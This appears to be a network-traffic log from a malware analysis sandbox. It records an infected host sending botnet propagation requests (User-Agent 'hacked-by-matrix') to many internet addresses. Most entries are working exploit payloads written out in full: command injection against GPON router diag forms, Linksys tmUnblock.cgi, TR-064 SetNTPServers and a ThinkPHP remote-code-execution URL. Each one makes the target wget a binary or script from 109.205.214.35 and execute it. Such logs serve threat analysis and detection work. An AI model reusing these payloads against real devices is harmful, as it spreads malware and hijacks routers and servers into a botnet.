Mar 21, 2024 05:18:31.351790905 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:32.375853062 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:34.547823906 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:34.726948023 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Thu, 21 Mar 2024 04:18:34 GMT Date: Thu, 21 Mar 2024 04:18:34 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 38 64 35 33 65 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 37 31 34 26 23 34 36 3b 35 39 61 66 64 31 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.28d53e17.1710994714.59afd12</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
913	192.168.2.13	57406	94.187.119.125	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.465183020 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
914	192.168.2.13	54174	213.8.190.220	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.476686954 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:30.710947990 CET	450	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:18:30 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
915	192.168.2.13	48986	172.67.192.76	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.597078085 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
916	192.168.2.13	33764	5.78.15.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.883028030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
917	192.168.2.13	50846	212.50.63.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.883096933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
918	192.168.2.13	50136	210.125.52.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.883143902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
919	192.168.2.13	43106	118.107.142.58	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.883164883 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
920	192.168.2.13	56736	109.72.21.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.883193970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
921	192.168.2.13	54098	109.75.83.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.883234024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
922	192.168.2.13	49882	212.23.228.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.883297920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
923	192.168.2.13	44328	5.93.96.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.883297920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
924	192.168.2.13	45370	210.226.253.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.883336067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
925	192.168.2.13	56666	42.207.27.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.883461952 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
926	192.168.2.13	45844	173.33.234.143	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.116082907 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:31.731812954 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
927	192.168.2.13	55496	95.216.243.95	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.211781025 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:31.404633045 CET	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Thu, 21 Mar 2024 04:18:31 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
928	192.168.2.13	42346	172.65.181.90	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.245466948 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
929	192.168.2.13	51254	172.65.16.234	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.246078014 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
930	192.168.2.13	49654	66.215.68.63	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.620069981 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:35.833131075 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
